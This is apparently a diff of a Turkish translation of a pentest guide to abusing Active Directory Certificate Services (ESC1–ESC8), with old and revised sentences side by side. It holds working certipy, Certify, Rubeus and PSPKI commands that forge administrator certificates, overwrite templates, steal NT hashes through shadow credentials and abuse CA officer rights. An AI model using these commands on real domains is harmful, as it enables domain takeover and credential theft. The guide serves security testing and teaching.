certipy find -username john@corp.local -password Passw0rd -dc-ip 172.16.126.128
@ -55,14 +59,14 @@ certipy find -username john@corp.local -password Passw0rd -dc-ip 172.16.126.128
Certify.exe request /ca:dc.domain.local-DC-CA /template:VulnTemplate /altname:localadmin
certipy req -username john@corp.local -password Passw0rd! -target-ip ca.corp.local -ca 'corp-CA' -template 'ESC1' -upn 'administrator@corp.local'
```
Sonra üretilen **sertifikayı `.pfx`** formatına dönüştürebilir ve tekrar **Rubeus veya certipy kullanarak kimlik doğrulaması yapabilirsiniz:**
Sonra üretilen **sertifikayı `.pfx`** formatına dönüştürebilir ve tekrar **Rubeus veya certipy kullanarak kimlik doğrulaması yapabilirsiniz**:
```bash
Rubeus.exe asktgt /user:localdomain /certificate:localadmin.pfx /password:password123! /ptt
certipy auth -pfx 'administrator.pfx' -username 'administrator' -domain 'corp.local' -dc-ip 172.16.19.100
```
Windows ikili dosyaları "Certreq.exe" ve "Certutil.exe" PFX'i oluşturmak için kullanılabilir: https://gist.github.com/b4cktr4ck2/95a9b908e57460d9958e8238f85ef8ee
Windows ikili dosyaları "Certreq.exe" ve "Certutil.exe" PFX oluşturmak için kullanılabilir: https://gist.github.com/b4cktr4ck2/95a9b908e57460d9958e8238f85ef8ee
AD Ormanı yapılandırma şemasındaki sertifika şablonlarının numaralandırılması, onay veya imza gerektirmeyen, Müşteri Kimliği Doğrulaması veya Akıllı Kart Girişi EKU'ya sahip ve `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` bayrağının etkin olduğu belirli sertifika şablonları için aşağıdaki LDAP sorgusunu çalıştırarak gerçekleştirilebilir:
AD Ormanı yapılandırma şemasındaki sertifika şablonlarının numaralandırılması, onay veya imza gerektirmeyen, Müşteri Kimlik Doğrulaması veya Akıllı Kart Girişi EKU'ya sahip ve `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` bayrağının etkin olduğu belirli sertifika şablonları için aşağıdaki LDAP sorgusunu çalıştırarak gerçekleştirilebilir:
```
(&(objectclass=pkicertificatetemplate)(!(mspki-enrollmentflag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-rasignature=*)))(|(pkiextendedkeyusage=1.3.6.1.4.1.311.20.2.2)(pkiextendedkeyusage=1.3.6.1.5.5.7.3.2)(pkiextendedkeyusage=1.3.6.1.5.2.3.4)(pkiextendedkeyusage=2.5.29.37.0)(!(pkiextendedkeyusage=*)))(mspkicertificate-name-flag:1.2.840.113556.1.4.804:=1))
```
@ -73,16 +77,16 @@ AD Ormanı yapılandırma şemasındaki sertifika şablonlarının numaralandır
İkinci kötüye kullanım senaryosu birinci senaryonun bir varyasyonudur:
1. Kurumsal CA tarafından düşük ayrıcalıklı kullanıcılara kayıt hakları verilir.
2. Yönetici onayı gereksinimi devre dışı bırakılmıştır.
2. Yönetici onayı gerekliliği devre dışı bırakılmıştır.
3. Yetkili imzaların gerekliliği ihmal edilmiştir.
4. Sertifika şablonundaki aşırı izin verici güvenlik tanımlayıcısı, düşük ayrıcalıklı kullanıcılara sertifika kayıt hakları verir.
5. **Sertifika şablonu, Her Amaçlı EKU'yu veya hiçbir EKU'yu içerecek şekilde tanımlanmıştır.**
4. Sertifika şablonundaki aşırı derecede izin verici güvenlik tanımlayıcısı, düşük ayrıcalıklı kullanıcılara sertifika kayıt hakları verir.
5. **Sertifika şablonu, Her Amaçlı EKU veya hiçbir EKU içerecek şekilde tanımlanmıştır.**
**Her Amaçlı EKU**, bir saldırganın istemci kimlik doğrulaması, sunucu kimlik doğrulaması, kod imzalama vb. dahil olmak üzere **herhangi bir amaç** için sertifika almasına izin verir. Bu senaryoyu sömürmek için **ESC3 için kullanılan aynı teknik** kullanılabilir.
**Her Amaçlı EKU**, bir saldırganın istemci kimlik doğrulama, sunucu kimlik doğrulama, kod imzalama vb. dahil olmak üzere **herhangi bir amaç** için sertifika almasına izin verir. Bu senaryoyu sömürmek için **ESC3 için kullanılan teknik** aynı şekilde kullanılabilir.
**Hiçbir EKU**'ya sahip sertifikalar, alt CA sertifikaları olarak hareket eder ve **herhangi bir amaç** için sömürülebilir ve **yeni sertifikaları imzalamak için de kullanılabilir**. Bu nedenle, bir saldırgan, bir alt CA sertifikası kullanarak yeni sertifikalarda keyfi EKU'ları veya alanları belirtebilir.
**Hiçbir EKU**'ya sahip sertifikalar, alt CA sertifikaları olarak hareket eder ve **herhangi bir amaç** için sömürülebilir ve **yeni sertifikaları imzalamak için de kullanılabilir**. Bu nedenle, bir saldırgan alt CA sertifikasını kullanarak yeni sertifikalarda keyfi EKU'ları veya alanları belirtebilir.
Ancak, **alan kimlik doğrulaması** için oluşturulan yeni sertifikalar, **varsayılan ayar olan `NTAuthCertificates`** nesnesi tarafından güvenilmiyorsa işlev görmeyecektir. Bununla birlikte, bir saldırgan hala **herhangi bir EKU ve keyfi sertifika değerleri ile yeni sertifikalar oluşturabilir**. Bu, geniş bir amaç yelpazesinde kötüye kullanılabilecek ve SAML, AD FS veya IPSec gibi ağdaki diğer uygulamalar için önemli sonuçları olabilecek potansiyel olarak **köle** olabilir.
Ancak, **alan kimlik doğrulaması** için oluşturulan yeni sertifikalar, **varsayılan ayar olan `NTAuthCertificates`** nesnesi tarafından güvenilmiyorsa işlev görmeyecektir. Bununla birlikte, bir saldırgan hala **herhangi bir EKU ve keyfi sertifika değerleri ile yeni sertifikalar oluşturabilir**. Bu sertifikalar potansiyel olarak **kod imzalama, sunucu kimlik doğrulama vb.** gibi birçok amaç için **kötüye kullanılabilir** ve SAML, AD FS veya IPSec gibi ağdaki diğer uygulamalar için önemli sonuçları olabilir.
Bu senaryoya uyan şablonları AD Ormanı yapılandırma şemasında sıralamak için aşağıdaki LDAP sorgusu çalıştırılabilir:
```
@ -92,26 +96,26 @@ Bu senaryoya uyan şablonları AD Ormanı yapılandırma şemasında sıralamak
### Açıklama
Bu senaryo, farklı bir EKU'yu (Sertifika İsteği Ajanı) **istismar ederek** ve **2 farklı şablon** kullanarak ilk ve ikinci senaryoya benzerdir (bu nedenle 2 farklı gereksinime sahiptir).
Bu senaryo, farklı bir EKU'yu (Sertifika İsteği Ajanı) istismar ederek ve **2 farklı şablon** kullanarak ilk ve ikinci senaryoya benzerdir (bu nedenle 2 farklı gereksinim setine sahiptir).
**Sertifika İsteği Ajanı EKU** (OID 1.3.6.1.4.1.311.20.2.1), Microsoft belgelerinde **Kayıt Ajanı** olarak bilinir ve bir başka kullanıcı adına sertifika **almak için bir başkası adına kayıt olmasına izin verir**.
**Sertifika İsteği Ajanı EKU** (OID 1.3.6.1.4.1.311.20.2.1), Microsoft belgelerinde **Kayıt Ajanı** olarak bilinir ve bir başka kullanıcı adına sertifika için bir **başvuruda bulunma** yetkisi verir.
**"kayıt ajanı"**, bu tür bir **şablona kaydolur ve diğer kullanıcı adına CSR'yi işaretleyen sonuç sertifikasını kullanır**. Daha sonra **işaretlenmiş CSR'yi** CA'ya gönderir, "başkası adına kaydol" izin veren bir **şablona kaydolur ve CA, "diğer" kullanıcıya ait bir sertifika ile yanıt verir**.
**"kayıt ajanı"**, bu tür bir **şablona kaydolur** ve sonuçta oluşturulan **sertifikayı diğer kullanıcı adına bir CSR'yi işaretlemek için kullanır**. Daha sonra **işaretlenmiş CSR'yi** CA'ya gönderir, "başkası adına kaydol" izin veren bir **şablona kaydolur** ve CA, "diğer" kullanıcıya ait bir **sertifika ile yanıt verir**.
**Gereksinimler 1:**
* Kurumsal CA tarafından düşük ayrıcalıklı kullanıcılara kayıt hakları verilmiştir.
* Düşük ayrıcalıklı kullanıcılara Kurumsal CA tarafından kayıt hakkı verilmiştir.
* Yönetici onayı gereksinimi atlanmıştır.
* Yetkili imzalar için gereksinim yoktur.
* Sertifika şablonunun güvenlik tanımlayıcısıırı derecede izin verici olup, düşük ayrıcalıklı kullanıcılara kayıt hakları verir.
* Sertifika şablonunun güvenlik tanımlayıcısıırı derecede izin verici olup, düşük ayrıcalıklı kullanıcılara kayıt hakkı verir.
* Sertifika şablonu, Sertifika İsteği Ajanı EKU'yu içerir ve diğer prensipler adına diğer sertifika şablonlarını isteme olanağı sağlar.
**Gereksinimler 2:**
* Kurumsal CA, düşük ayrıcalıklı kullanıcılara kayıt hakları verir.
* Kurumsal CA, düşük ayrıcalıklı kullanıcılara kayıt hakkı verir.
* Yönetici onayı atlanmıştır.
* Şablonun şema sürümü 1 veya 2'den büyük olup, Sertifika İsteği Ajanı EKU'yu gerektiren bir Uygulama Politikası İhraç Gereksinimi belirtir.
* Sertifika şablonunda tanımlanan bir EKU, alan doğrulamasına izin verir.
* Sertifika şablonunda tanımlanan bir EKU, etki alanı kimlik doğrulamasına izin verir.
* CA üzerinde kayıt ajanları için kısıtlamalar uygulanmamıştır.
### İstismar
@ -130,11 +134,11 @@ certipy req -username john@corp.local -password Pass0rd! -target-ip ca.corp.loca
# Use Rubeus with the certificate to authenticate as the other user
Rubeu.exe asktgt /user:CORP\itadmin /certificate:itadminenrollment.pfx /password:asdf
```
**Kullanıcılara** **bir** **kayıt acentesi sertifikası almak** için izin verilen, kayıt ajanlarının kayıt yaptırabileceği şablonlar ve kayıt acentesinin hareket edebileceği **hesaplar** kurumsal CA'lar tarafından sınırlanabilir. Bu, `certsrc.msc` **eklentisini** açarak, CA'ya **sağ tıklayarak**, **Özellikler'i tıklayarak** ve ardından "Kayıt Ajanları" sekmesine **gezerek** başarılır.
**Kullanıcılara** **bir** **kayıt acentesi sertifikası almak** için izin verilen, kayıt ajanlarının kaydolmasına izin verilen şablonlar ve kayıt acentesi olarak hareket edebilecek **hesaplar** kurumsal CA'lar tarafından sınırlanabilir. Bu, `certsrc.msc` **eklentisini** açarak, CA'ya **sağ tıklayarak**, **Özellikler'i tıklayarak** ve ardından "Kayıt Ajanları" sekmesine **gezerek** başarılır.
Ancak, CA'lar için **varsayılan** ayarın "Kayıt ajanlarını sınırlama" olmadığı **belirtilmektedir**. Yöneticiler tarafından kayıt ajanları üzerindeki kısıtlamanın etkinleştirilmesi durumunda, "Kayıt ajanlarını sınırla" olarak ayarlandığında, varsayılan yapı son derece geniş kapsamlı kalır. Herkese, herhangi bir şablonda herkesin kayıt yaptırmasına izin verir.
Ancak, CA'lar için **varsayılan** ayarın "Kayıt ajanlarını sınırlama" olmadığı belirtilmektedir. Yöneticiler tarafından kayıt ajanları üzerindeki kısıtlamanın etkinleştirilmesi durumunda, "Kayıt ajanlarını sınırla" olarak ayarlandığında, varsayılan yapı son derece geniş kapsamlı kalır. Herkese, herhangi bir şablonda herkesin kaydolmasına izin verir.
## Zayıf Sertifika Şablonu Erişim Kontrolü - ESC4
## Güvenlik Açığına Açık Sertifika Şablonu Erişim Kontrolü - ESC4
### **Açıklama**
@ -156,13 +160,13 @@ Sertifika şablonları için geçerli olan dikkate değer izinler şunlardır:
<figure><img src="../../../.gitbook/assets/image (811).png" alt=""><figcaption></figcaption></figure>
ESC4, bir kullanıcının bir sertifika şablonu üzerinde yazma izinlerine sahip olması durumudur. Bu örneğin, sertifika şablonunun yapılandırmasını üzerine yazmak suretiyle şablonun ESC1'e karşı savunmasız hale getirilmesi şeklinde kötüye kullanılabilir.
ESC4, bir kullanıcının bir sertifika şablonu üzerinde yazma izinlerine sahip olması durumunda gerçekleşir. Bu örneğin, sertifika şablonunun yapılandırmasını değiştirerek şablonu ESC1'e karşı savunmasız hale getirmek için kötüye kullanılabileceği anlamına gelir.
Yukarıdaki yolculukta, yalnızca `JOHNPC`'nin bu ayrıcalıklara sahip olduğunu görebiliriz, ancak kullanıcımız `JOHN`, `JOHNPC`'ye yeni `AddKeyCredentialLink` kenarını eklemiştir. Bu teknik sertifikalarla ilgili olduğundan, bu saldırıyı da uyguladım, ki bu da [Gölge Kimlik Bilgileri](https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab) olarak bilinen bir saldırıdır. İşte kurbanın NT hash'ini almak için Certipy'nin `shadow auto` komutunun küçük bir önizlemesi.
Yukarıdaki yolculukta, yalnızca `JOHNPC`'nin bu ayrıcalıklara sahip olduğunu görebiliriz, ancak kullanıcımız `JOHN`, `JOHNPC`'ye yeni `AddKeyCredentialLink` kenarını eklemiştir. Bu teknik sertifikalarla ilgili olduğundan, bu saldırıyı da uyguladım, bu da [Gölge Kimlik Bilgileri](https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab) olarak bilinen bir saldırıdır. İşte kurbanın NT hash'ini almak için Certipy'nin `shadow auto` komutunun küçük bir önizlemesi.
```bash
certipy shadow auto 'corp.local/john:Passw0rd!@dc.corp.local' -account 'johnpc'
```
**Certipy**, bir komutla bir sertifika şablonunun yapılandırmasını üzerine yazabilir. **Varsayılan olarak**, Certipy, yapılandırmayı **ESC1'e karşı savunmasız hale getirecektir**. Ayrıca **`-save-old` parametresini belirterek eski yapılandırmayı kaydedebiliriz**, bu saldırımızdan sonra yapılandırmayı **geri yüklemek için** faydalı olacaktır.
**Certipy**, bir komutla bir sertifika şablonunun yapılandırmasını üzerine yazabilir. **Varsayılan olarak**, Certipy, yapılandırmayı **ESC1'e karşı savunmasız hale getirecek şekilde üzerine yazar**. Ayrıca **`-save-old` parametresini belirterek eski yapılandırmayı kaydedebiliriz**, bu da saldırımızdan sonra yapılandırmayı **geri yüklemek için faydalı olacaktır**.
```bash
# Make template vuln to ESC1
certipy template -username john@corp.local -password Passw0rd -template ESC4-Test -save-old
@ -177,11 +181,11 @@ certipy template -username john@corp.local -password Passw0rd -template ESC4-Tes
### Açıklama
Sertifika şablonları ve sertifika yetkilisi ötesinde birçok nesneyi içeren geniş ACL tabanlı ilişkiler ağı, AD CS sisteminin güvenliğini etkileyebilir. Güvenliği önemli ölçüde etkileyebilecek bu nesneler şunları içerebilir:
Sertifika şablonları ve sertifika yetkilisi ötesinde birçok nesneyi içeren geniş ACL tabanlı ilişkiler ağı, AD CS sisteminin güvenliğini etkileyebilir. Güvenliği önemli ölçüde etkileyebilecek bu nesneler şunları içerir:
- CA sunucusunun AD bilgisayar nesnesi, S4U2Self veya S4U2Proxy gibi mekanizmalar aracılığıyla tehlikeye atılabilir.
- CA sunucusunun RPC/DCOM sunucusu.
- Belirli bir konteyner yolundaki (`CN=Public Key Services,CN=Services,CN=Configuration,DC=<DOMAIN>,DC=<COM>`) herhangi bir alt AD nesnesi veya konteyner. Bu yol, Sertifika Şablonları konteyneri, Sertifika Yetkilileri konteyneri, NTAuthCertificates nesnesi ve Enrollment Services Konteyneri gibi konteynerleri ve nesneleri içermekle birlikte bunlarla sınırlı değildir.
- Belirli bir konteyner yolundaki (`CN=Public Key Services,CN=Services,CN=Configuration,DC=<DOMAIN>,DC=<COM>`) herhangi bir alt AD nesnesi veya konteyner. Bu yol, Sertifika Şablonları konteyneri, Sertifika Yetkilileri konteyneri, NTAuthCertificates nesnesi ve Enrollment Services Konteyneri gibi konteynerleri ve nesneleri içerir, ancak bunlarla sınırlı değildir.
PKI sisteminin güvenliği, düşük ayrıcalıklı bir saldırganın bu kritik bileşenlerden herhangi biri üzerinde kontrol sağlamayı başarması durumunda tehlikeye girebilir.
@ -189,9 +193,9 @@ PKI sisteminin güvenliği, düşük ayrıcalıklı bir saldırganın bu kritik
### Açıklama
[**CQure Academy gönderisinde**](https://cqureacademy.com/blog/enhanced-key-usage) tartışılan konu, Microsoft tarafından belirtilen **`EDITF_ATTRIBUTESUBJECTALTNAME2`** bayrağının etkilerine de değinmektedir. Bu yapılandırma, bir Sertifika Yetkilisi (CA) üzerinde etkinleştirildiğinde, **kullanıcı tanımlı değerlerin** **konu alternatif adı** içine **dahil edilmesine** izin verir. Bu istekler, Active Directory® tarafından oluşturulanlar da dahil olmak üzere **herhangi bir istekte** bulunabilir. Sonuç olarak, bu düzenek, bir **saldırganın** domain **kimlik doğrulaması** için kurulmuş **herhangi bir şablon** üzerinden kaydolmasına izin verir—özellikle standart Kullanıcı şablonu gibi **ayrıcalıksız** kullanıcı kaydı için açık olanlar. Sonuç olarak, bir sertifika güvence altına alınabilir ve saldırganın etki alanındaki bir etki alanı yöneticisi veya **herhangi başka bir etkin varlık** olarak kimlik doğrulaması yapmasına olanak tanır.
[**CQure Academy gönderisinde**](https://cqureacademy.com/blog/enhanced-key-usage) tartışılan konu, Microsoft tarafından belirtilen **`EDITF_ATTRIBUTESUBJECTALTNAME2`** bayrağının etkilerine de değinmektedir. Bu yapılandırma, bir Sertifika Yetkilisi (CA) üzerinde etkinleştirildiğinde, **kullanıcı tanımlı değerlerin** **konu alternatif adı** içine **dahil edilmesine** izin verir. Bu, Active Directory® tarafından oluşturulan talepler de dahil olmak üzere **herhangi bir talep** için geçerlidir. Sonuç olarak, bu düzenek, bir **saldırganın** domain **kimlik doğrulaması** için kurulmuş **herhangi bir şablon** üzerinden kaydolmasına izin verir—özellikle standart Kullanıcı şablonu gibi **ayrıcalıksız** kullanıcı kaydı için açık olanlar. Bu sayede, bir sertifika güvence altına alınabilir ve saldırganın etki alanındaki bir etkin varlık olarak kimlik doğrulaması yapmasına olanak tanır.
**Not**: `-attrib "SAN:"` argümanıyla bir Sertifika İmzalama İsteği'ne (CSR) **alternatif adlar** eklemek için kullanılan yaklaşım, ESC1'deki SAN'ların sömürülme stratejisinden **farklılık** gösterir. Buradaki fark, **hesap bilgilerinin nasıl kapsüllendiği**—bir sertifika özniteliği içinde, bir uzantı yerine.
**Not**: `-attrib "SAN:"` argümanıyla bir Sertifika İmzalama İsteği'ne (CSR) **alternatif adlar** eklemek için kullanılan yaklaşım, ESC1'deki SAN'ların sömürülme stratejisinden **farklılık** gösterir. Buradaki fark, **hesap bilgilerinin** bir uzantı yerine bir sertifika özniteliği içine nasıl kapsüllendiğinde yatar.
### Kötüye Kullanım
@ -203,7 +207,7 @@ Bu işlem temelde **uzak kayıt defteri erişimi** kullanır, dolayısıyla alte
```bash
reg.exe query \\<CA_SERVER>\HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\CertSvc\Configuration\<CA_NAME>\PolicyModules\CertificateAuthority_MicrosoftDefault.Policy\ /v EditFlags
```
Aşağıdaki gibi araçlar [**Certify**](https://github.com/GhostPack/Certify) ve [**Certipy**](https://github.com/ly4k/Certipy) bu yan yapılandırmayı tespit edebilir ve sömürebilir:
Aşağıdaki gibi araçlar [**Certify**](https://github.com/GhostPack/Certify) ve [**Certipy**](https://github.com/ly4k/Certipy) bu yan yapılandırmayı tespit edebilir ve bunu sömürebilir:
```bash
# Detect vulnerabilities, including this one
Certify.exe find
@ -212,7 +216,7 @@ Certify.exe find
Certify.exe request /ca:dc.domain.local\theshire-DC-CA /template:User /altname:localadmin
certipy req -username john@corp.local -password Passw0rd -ca corp-DC-CA -target ca.corp.local -template User -upn administrator@corp.local
```
Bu ayarları değiştirmek için, **alan yönetici** haklarına veya buna eşdeğer haklara sahip olduğu varsayılarak, aşağıdaki komut herhangi bir iş istasyonundan çalıştırılabilir:
Bu ayarları değiştirmek için, **alan yönetici** haklarına veya buna eşdeğer haklara sahip olunduğunu varsayarak, aşağıdaki komut herhangi bir iş istasyonundan çalıştırılabilir:
```bash
certutil -config "CA_HOST\CA_NAME" -setreg policy\EditFlags +EDITF_ATTRIBUTESUBJECTALTNAME2
```
@ -222,7 +226,7 @@ certutil -config "CA_HOST\CA_NAME" -setreg policy\EditFlags -EDITF_ATTRIBUTESUBJ
```
{% hint style="warning" %}
Mayıs 2022 güvenlik güncellemelerinden sonra, yeni verilen **sertifikalar**, **isteyenin `objectSid` özelliğini** içeren bir **güvenlik uzantısı** içerecektir. ESC1 için bu SID belirtilen SAN'dan türetilir. Ancak **ESC6** için, SID isteyenin `objectSid`'ini yansıtır, SAN değil.\
ESC6'yı sömürmek için, sistemin **ESC10'a (Zayıf Sertifika Eşlemeleri) duyarlı olması** esastır, bu da **SAN'ı yeni güvenlik uzantısının üzerine tercih eder**.
ESC6'yı sömürmek için, sistemin **ESC10'a (Zayıf Sertifika Eşlemeleri) duyarlı olması** gereklidir, bu da **SAN'ı yeni güvenlik uzantısının üzerine tercih eder**.
{% endhint %}
## Zayıf Sertifika Yetkilisi Erişim Kontrolü - ESC7
@ -231,19 +235,19 @@ ESC6'yı sömürmek için, sistemin **ESC10'a (Zayıf Sertifika Eşlemeleri) duy
#### Açıklama
Bir sertifika yetkilisi için erişim kontrolü, CA eylemlerini yöneten bir dizi izin aracılığıyla sağlanır. Bu izinler, `certsrv.msc`'ye erişilerek, bir CA'ya sağ tıklanarak, özelliklerin seçilmesi ve ardından Güvenlik sekmesine gidilerek görüntülenebilir. Ayrıca, izinler PSPKI modülü kullanılarak aşağıdaki gibi komutlarla sıralanabilir:
Bir sertifika yetkilisi için erişim kontrolü, CA lemlerini yöneten bir dizi izin aracılığıyla sağlanır. Bu izinler, `certsrv.msc`'ye erişilerek, bir CA'ya sağ tıklanarak, özelliklerin seçilmesi ve ardından Güvenlik sekmesine gidilmesiyle görüntülenebilir. Ayrıca, izinler PSPKI modülü kullanılarak şu komutlarla sıralanabilir:
```bash
Get-CertificationAuthority -ComputerName dc.domain.local | Get-CertificationAuthorityAcl | select -expand Access
```
Bu, öncelikli haklar olan **`ManageCA`** ve **`ManageCertificates`** ile ilişkilendirilen "CA yöneticisi" ve "Sertifika Yöneticisi" rollerine dair içgörüler sunar.
Bu, "CA yöneticisi" ve "Sertifika Yöneticisi" rollerine karşılık gelen temel haklar olan **`ManageCA`** ve **`ManageCertificates`** haklarına içgörüler sağlar.
#### Kötüye Kullanım
Bir sertifika otoritesinde **`ManageCA`** haklarına sahip olmak, PSPKI kullanarak uzaktan ayarları manipüle etme olanağı sağlar. Bu, herhangi bir şablon içinde SAN belirtimine izin vermek için **`EDITF_ATTRIBUTESUBJECTALTNAME2`** bayrağını açma işlevini içerir, alan yükseltmenin kritik bir yönüdür.
Bir sertifika yetkilisine **`ManageCA`** hakları vermek, PSPKI kullanarak uzaktan ayarları manipüle etmesine olanak tanır. Bu, herhangi bir şablonda SAN belirtimine izin vermek için **`EDITF_ATTRIBUTESUBJECTALTNAME2`** bayrağını açma gibi, etki alanı yükseltmenin kritik bir yönüdür.
Bu sürecin basitleştirilmesi, PSPKI'nın **Enable-PolicyModuleFlag** cmdlet'inin kullanımıyla doğrudan GUI etkileşimi olmadan değişiklikler yapılmasını sağlar.
**`ManageCertificates`** haklarına sahip olmak, bekleyen isteklerin onaylanmasını kolaylaştırır ve etkili bir şekilde "CA sertifika yöneticisi onayı" korumasını atlar.
**`ManageCertificates`** haklarına sahip olmak, bekleyen istekleri onaylamayı kolaylaştırır ve etkili bir şekilde "CA sertifika yöneticisi onayı" korumasını atlamayı sağlar.
**Certify** ve **PSPKI** modüllerinin bir kombinasyonu, bir sertifika talep etmek, onaylamak ve indirmek için kullanılabilir:
```powershell
@ -266,7 +270,7 @@ Certify.exe download /ca:dc.domain.local\theshire-DC-CA /id:336
#### Açıklama
{% hint style="warning" %}
Önceki saldırıda **`Yönet CA`** izinleri kullanılarak **EDITF\_ATTRIBUTESUBJECTALTNAME2** bayrağını etkinleştirmek için **ESC6 saldırısını** gerçekleştirmek için CA hizmeti (`CertSvc`) yeniden başlatılana kadar herhangi bir etkisi olmayacaktır. Bir kullanıcı **`Yönet CA`** erişim hakkına sahip olduğunda, kullanıcı aynı zamanda **hizmeti yeniden başlatma** iznine de sahiptir. Ancak, bu, kullanıcının hizmeti uzaktan yeniden başlatabileceği anlamına gelmez. Ayrıca, **Mayıs 2022 güvenlik güncellemeleri nedeniyle çoğu yamalı ortamda ESC6'nın çalışmayabileceği** unutulmamalıdır.
Önceki saldırıda **`Yönet CA`** izinleri kullanılarak **EDITF\_ATTRIBUTESUBJECTALTNAME2** bayrağını etkinleştirmek için **ESC6 saldırısı** gerçekleştirildi, ancak bu, CA hizmeti (`CertSvc`) yeniden başlatılmadan etkili olmayacaktır. Bir kullanıcı **Yönet CA** erişim hakkına sahip olduğunda, kullanıcı aynı zamanda **hizmeti yeniden başlatma** iznine de sahiptir. Bununla birlikte, bu, kullanıcının hizmeti uzaktan yeniden başlatabileceği anlamına gelmez. Ayrıca, **Mayıs 2022 güvenlik güncellemeleri nedeniyle ESC6'nın çoğu yamalı ortamda çalışmayabileceği** unutulmamalıdır.
{% endhint %}
Bu nedenle, burada başka bir saldırı sunulmaktadır.
@ -288,7 +292,7 @@ Certipy v4.0.0 - by Oliver Lyak (ly4k)
[*] Successfully added officer 'John' on 'corp-DC-CA'
```
**`SubCA`** şablonu varsayılan olarak etkinleştirilmiş olabilir. **CA** üzerinde `-enable-template` parametresi ile etkinleştirilebilir.
**`SubCA`** şablonu, varsayılan olarak etkin olan `-enable-template` parametresi ile CA üzerinde etkinleştirilebilir.
```bash
# List templates
certipy ca -username john@corp.local -password Passw0rd! -target-ip ca.corp.local -ca 'corp-CA' -enable-template 'SubCA'
@ -300,9 +304,9 @@ Certipy v4.0.0 - by Oliver Lyak (ly4k)
[*] Successfully enabled 'SubCA' on 'corp-DC-CA'
```
Eğer bu saldırı için gerekli ön koşulları yerine getirdiysek, **`SubCA` şablonuna dayalı bir sertifika isteyerek** başlayabiliriz.
Eğer bu saldırı için gerekli koşulları yerine getirdiysek, **`SubCA` şablonuna dayalı bir sertifika talep ederek** başlayabiliriz.
**Bu istek reddedilecek**, ancak özel anahtarı kaydedecek ve istek kimliğini not edeceğiz.
**Bu talep reddedilecek**, ancak özel anahtarı kaydedecek ve talep kimliğini not edeceğiz.
```bash
certipy req -username john@corp.local -password Passw0rd -ca corp-DC-CA -target ca.corp.local -template SubCA -upn administrator@corp.local
Certipy v4.0.0 - by Oliver Lyak (ly4k)
@ -314,7 +318,7 @@ Would you like to save the private key? (y/N) y
[*] Saved private key to 785.key
[-] Failed to request certificate
```
**`Yönet CA` ve `Sertifikaları Yönet`** ile ardından `ca` komutunu ve `-issue-request <istek ID>` parametresini kullanarak **başarısız sertifika** isteğini verebiliriz.
**`Yönet CA` ve `Sertifikaları Yönet`** ile ardından `ca` komutu ve `-issue-request <istek ID>` parametresi ile başarısız sertifika isteğini **verebiliriz**.
```bash
certipy ca -ca 'corp-DC-CA' -issue-request 785 -username john@corp.local -password Passw0rd
Certipy v4.0.0 - by Oliver Lyak (ly4k)
@ -338,13 +342,13 @@ Certipy v4.0.0 - by Oliver Lyak (ly4k)
### Açıklama
{% hint style="info" %}
**AD CS'nin yüklü olduğu ortamlarda**, eğer **savunmasız bir web kayıt noktası mevcutsa** ve en az bir **sertifika şablonu yayınlanmışsa** ve **alan bilgisayar kaydı ve istemci kimlik doğrulamasına izin veriyorsa** (örneğin varsayılan **`Machine`** şablonu gibi), **spooler servisi etkin olan herhangi bir bilgisayarın bir saldırgan tarafından ele geçirilmesi mümkün olur**!
**AD CS yüklü olan ortamlarda**, eğer **savunmasız bir web kayıt noktası mevcutsa** ve en az bir **sertifika şablonu yayınlanmışsa** ve **alan bilgisayar kaydı ve istemci kimlik doğrulamasına izin veriyorsa** (örneğin varsayılan **`Machine`** şablonu gibi), **saldırganın etkin spooler servisine sahip herhangi bir bilgisayarın tehlikeye girmesi mümkün olur**!
{% endhint %}
AD CS tarafından desteklenen birkaç **HTTP tabanlı kayıt yöntemi**, yöneticilerin kurabileceği ek sunucu rolleri aracılığıyla sunulmaktadır. Bu HTTP tabanlı sertifika kaydı arabirimleri, **NTLM iletme saldırılarına** karşı hassastır. Bir saldırgan, **ele geçirilmiş bir makineden, gelen NTLM kimlik doğrulaması yoluyla kimlik doğrulayan herhangi bir AD hesabını taklit edebilir**. Kurban hesabı taklit edilirken, bu web arabirimlerine bir saldırgan tarafından **`User` veya `Machine` sertifika şablonlarını kullanarak bir istemci kimlik doğrulama sertifikası talep edilebilir**.
AD CS tarafından desteklenen birkaç **HTTP tabanlı kayıt yöntemi**, yöneticilerin kurabileceği ek sunucu rolleri aracılığıyla sunulmaktadır. Bu HTTP tabanlı sertifika kaydı arabirimleri, **NTLM iletme saldırılarına** karşı hassastır. Bir saldırgan, **tehlikeye düşmüş bir makineden, gelen NTLM üzerinden kimlik doğrulayan herhangi bir AD hesabını taklit edebilir**. Kurban hesabı taklit edilirken, bu web arabirimlerine saldırgan tarafından erişilebilir ve **`User` veya `Machine` sertifika şablonlarını kullanarak istemci kimlik doğrulama sertifikası talep edilebilir**.
* **Web kayıt arabirimi** (bir önceki ASP uygulaması olan `http://<casunucusu>/certsrv/`), yalnızca HTTP ile varsayılan olarak gelir, bu da NTLM iletme saldırılarına karşı koruma sağlamaz. Ayrıca, yalnızca NTLM kimlik doğrulamasına izin veren ve daha güvenli kimlik doğrulama yöntemlerini, örneğin Kerberos'u uygulanamaz hale getiren Yetkilendirme HTTP başlığı aracılığıyla NTLM kimlik doğrulamasınııkça destekler.
* **Sertifika Kayıt Hizmeti** (CES), **Sertifika Kayıt Politikası** (CEP) Web Servisi ve **Ağ Cihazı Kayıt Hizmeti** (NDES) varsayılan olarak Yetkilendirme HTTP başlığı aracılığıyla müzakere kimlik doğrulamasını destekler. Müzakere kimlik doğrulaması, hem Kerberos'u hem de **NTLM'yi destekler**, bir saldırganın iletme saldırıları sırasında **NTLM'ye düşürülmesine izin verir**. Bu web hizmetleri varsayılan olarak HTTPS'yi destekler, ancak yalnızca HTTPS, NTLM iletme saldırılarına karşı koruma sağlamaz. HTTPS hizmetlerinin NTLM iletme saldırılarından korunması, yalnızca HTTPS'nin kanal bağlamayla birleştirildiğinde mümkündür. Ne yazık ki, AD CS, kanal bağlaması için gereken IIS üzerinde Genişletilmiş Kimlik Doğrulama Korumasını etkinleştirmez.
